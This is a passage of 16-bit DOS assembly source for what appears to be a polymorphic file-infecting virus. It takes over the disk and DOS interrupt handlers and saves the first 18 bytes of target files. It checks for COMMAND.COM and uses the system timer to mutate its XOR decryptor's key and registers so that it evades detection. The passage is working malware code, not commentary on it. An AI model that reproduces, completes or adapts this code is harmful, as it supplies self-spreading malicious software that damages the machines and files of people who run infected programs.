  1179.     jmp    dword ptr cs:[org_13h-adjust]
  1180. Floppy:
  1181.     jmp    dword ptr cs:[Floppy_org_13h-adjust]
  1182.  
  1183.  
  1184. Read_First_18:
  1185.  
  1186.     sub    ax,ax
  1187.     mov    es:[di+4],ax
  1188.     mov    es:[di+6],ax
  1189.     mov    ah,3f
  1190.     mov    cx,18
  1191.     mov    dx,buffer-adjust
  1192.     mov    si,dx
  1193.     call    Call_Original_INT_21h
  1194.     call    pusha
  1195.     push    cs
  1196.     pop    es
  1197.     mov    di,offset First_18-adjust
  1198.     mov    cx,18
  1199.     rep    movsb
  1200.     call    popa
  1201.         ret
  1202.  
  1203. Check_For_COMMAND:
  1204.  
  1205.     cmp    es:[di+0f],'OC'
  1206.     jne    Not_COMMAND
  1207.     cmp    es:[di+11],'MM'
  1208.     jne    Not_COMMAND
  1209.     cmp    es:[di+13],'NA'
  1210.     jne    Not_COMMAND            ;check for command.com
  1211.     cmp    es:[di+15],' D'
  1212.     jne    Not_COMMAND
  1213.     cmp    es:[di+17],'OC'
  1214.     jne    Not_COMMAND
  1215.     cmp    byte ptr es:[di+19],'M'
  1216.  
  1217. Not_COMMAND:
  1218.  
  1219.     ret
  1220.  
  1221. pusha:
  1222.     pop    word ptr cs:[ret_addr-adjust]
  1223.     pushf
  1224.     push    ax
  1225.     push    bx
  1226.     push    cx
  1227.     push    dx
  1228.     push    si
  1229.     push    di
  1230.     push    bp
  1231.     push    ds
  1232.     push    es
  1233.     jmp    word ptr cs:[ret_addr-adjust]
  1234.  
  1235. popa:
  1236.     pop    word ptr cs:[ret_addr-adjust]
  1237.     pop    es
  1238.     pop    ds
  1239.     pop    bp
  1240.     pop    di
  1241.     pop    si
  1242.     pop    dx
  1243.     pop    cx
  1244.     pop    bx
  1245.     pop    ax
  1246.     popf
  1247.     jmp    word ptr cs:[ret_addr-adjust]
  1248.  
  1249. make_mutation:
  1250.  
  1251.         sub     ax,ax
  1252.     mov    ds,ax
  1253.     mov    ax,[046C]
  1254.     or    al,al
  1255.     clc
  1256.     jnz    good_value
  1257.     inc    al
  1258.     stc
  1259.  
  1260. good_value:
  1261.  
  1262.     push    cs
  1263.     pop    ds
  1264.  
  1265.     mov    byte ptr [xorvalue-adjust],al
  1266.     jnc    well_ok
  1267.     dec    al
  1268.  
  1269. well_ok:
  1270.  
  1271.     and    al,0111b    ;BX,SI,DI,BP
  1272.     or    al,0100b
  1273.  
  1274.     cmp    al,0100b
  1275.     jne    okreg
  1276.     inc    al
  1277.  
  1278. okreg:
  1279.  
  1280.     and    byte ptr [popreg-adjust],11111000b
  1281.     or    byte ptr [popreg-adjust],al
  1282.  
  1283.     and    byte ptr [addtoreg-adjust],11111000b
  1284.     or    byte ptr [addtoreg-adjust],al
  1285.  
  1286.     and    byte ptr [incmain-adjust],11111000b
  1287.     or    byte ptr [incmain-adjust],al
  1288.  
  1289.     and    byte ptr [pushreg-adjust],11111000b
  1290.     or    byte ptr [pushreg-adjust],al
  1291.  
  1292.     call    adjustreg
  1293.  
  1294.     and    byte ptr [xorreg-adjust],11111000b
  1295.     or    byte ptr [xorreg-adjust],al
  1296.  
  1297.     and    ah,0011b    ;AX,CX,DX
  1298.     cmp    ah,0011b    ;00,01,02
  1299.     jne    okreg2
  1300.     dec    ah
  1301. okreg2:
  1302.  
  1303.     and    byte ptr [loadcount-adjust],11111000b
  1304.     or    byte ptr [loadcount-adjust],ah
  1305.  
  1306.     and    byte ptr [deccount-adjust],11111000b
  1307.     or    byte ptr [deccount-adjust],ah
  1308.  
  1309.     mov    ax,word ptr [First_instr-adjust]
  1310.     xchg    ah,al
  1311.     mov    word ptr [First_instr-adjust],ax
  1312.  
  1313.     ret
  1314.  
  1315.  
  1316. adjustreg:
  1317.  
  1318.     cmp    al,0011b
  1319.     je    abx
  1320.     cmp    al,0101b
  1321.     je    abp
  1322.     cmp    al,0110b
  1323.     je    asi
  1324.     mov    al,0101b
  1325.     ret
  1326. abx:
  1327.     mov    al,0111b
  1328.     ret
  1329. abp:
  1330.     mov    al,0110b
  1331.     ret
  1332. asi:
  1333.     mov    al,0100b
  1334.     ret
  1335.  
  1336.  
  1337. msg:
  1338.  
  1339. First_18:
  1340.  
  1341.     ret
  1342.     db    17    dup (?)
  1343.  
  1344.  
  1345. endcode label    word
  1346.  
  1347.     current_21h    dd ?
  1348.     current_13h    dd ?
  1349.     org_2fh dd    ?
  1350.     org_13h dd    ?
  1351.     org_21h dd    ?
  1352.     Floppy_org_13h    dd ?
  1353.     flag    db    ?    ;0ff if error occureî≥
  1354.     veri    db    ?
  1355.     handle    dw    ?
  1356.     fname    db    8+3 dup (?)
  1357.     function db    ?
  1358.     my_flag db ?
  1359.     limit        dw ?
  1360.     mem_        dw ?
  1361.     next_flag    db ?
  1362.     ret_addr    dw ?
  1363.  
  1364. buffer    label    word
  1365.  
  1366.